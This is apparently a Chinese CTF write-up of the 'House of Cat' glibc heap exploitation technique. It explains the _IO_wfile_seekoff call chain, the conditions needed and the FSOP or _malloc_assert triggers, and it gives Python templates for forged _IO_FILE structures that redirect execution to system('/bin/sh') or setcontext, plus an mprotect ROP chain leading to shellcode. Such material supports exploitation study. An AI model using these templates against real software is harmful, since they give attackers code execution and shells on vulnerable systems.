利用思路

利用_IO_wfile_jumps函数中的_IO_wfile_seekoff函数,在转到调用_IO_switch_to_wget_mode函数进行攻击。

调用链:
_IO_wfile_jumps ——> _IO_wfile_seekoff ——> _IO_switch_to_wget_mode(fp)

gdb中结构如下:


相比于House_of_emma,House_of_cat可以进行FSOP,具体操作为:改虚表指针vtable_IO_wfile_jumps+0x10并结合_malloc_assert触发;

利用条件

  • 任意写一个可控地址(如largebin_attack
  • 泄露libc和heap
  • 触发:
    • 调用exit或从main退出
    • puts、printf函数调用
    • _malloc_assert

在最后一步调用中:此时的rdi是我们传入的堆地址,那么此时我们泄露libc后,rdi、rax、rdx我们就都可以自主控制了,而利用这个 call [rax + 0x18] 汇编代码我们就可以执行我们控制的rax寄存器的地址。

主要是这四句,也就是红框中汇编:

  1. rax1 = [rdi+0xa0]
  2. rdx = [rax + 0x20]
  3. rax2 = [rax + 0xe0]
  4. call [rax + 0x18]

这里接下来有两种思路:

  • 开启沙箱,我们可以把最后调用的[rax + 0x18]**设置为 setcontext ,把rdx设置为可控的堆地址,就能执行srop读取flag;

  • 未开启沙箱,则只需把最后调用的[rax + 0x18]**设置为 system 函数,把 fake_IO 的头部(即rdi)写入/bin/sh字符串,就可执行system(“/bin/sh”)

触发方式

同时,我们也有两种方式触发攻击效果:

  • FSOP,也就是伪造_IO_list_all为可控地址
  • 修改 stderr 为可控地址,在可控地址中伪造 fake_IO 结构体,利用 malloc_assert 触发。stderr = libc_base + libc.sym["stderr"]

如果main函数不能正常返回,或者没有exit,那就不能使用FSOP。老老实实用stderr,利用malloc_assert触发。

FSOP 无法使用,且没有malloc函数的情况下需要修改 top_chunk size 来触发_malloc_assert 以触发 IO 流操作。

fake io模版

fake_io_addr=heapbase+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE=p64(rdi) #_flags=rdi
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(heapbase+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(libcbase+0x2160c0+0x10) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr

==注:若FSOP需将vtable改为IO_wfile_jumps+0x30==

其中在 stderr 中的 fake_IO_FILE 如下:因为chunk头有0x10,所以这里的数据要少0x10

next_chain = 0  
fake_io_addr = heap_base + 0x290
shellcode_addr = heap_base + 0x750
payload_addr = heap_base + 0x700
flag_addr = heap_base+0x1000

payload = p64(payload_addr+0x10) + p64(ret)
payload += p64(pop_rdi_ret) + p64(heap_base)
payload += p64(pop_rsi_ret) + p64(0x7000)
payload += p64(pop_rdx_ret) + p64(7)
payload += p64(mprotect) + p64(shellcode_addr)
payload += shellcode

fake_IO_FILE = p64(0) #_flags=rdi
fake_IO_FILE += p64(0)*5
fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE += p64(payload_addr-0xa0)#_IO_backup_base=rdx
fake_IO_FILE += p64(setcontext+61)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(flag_addr) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps+0x10) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr

在ropper中使用search mov rdx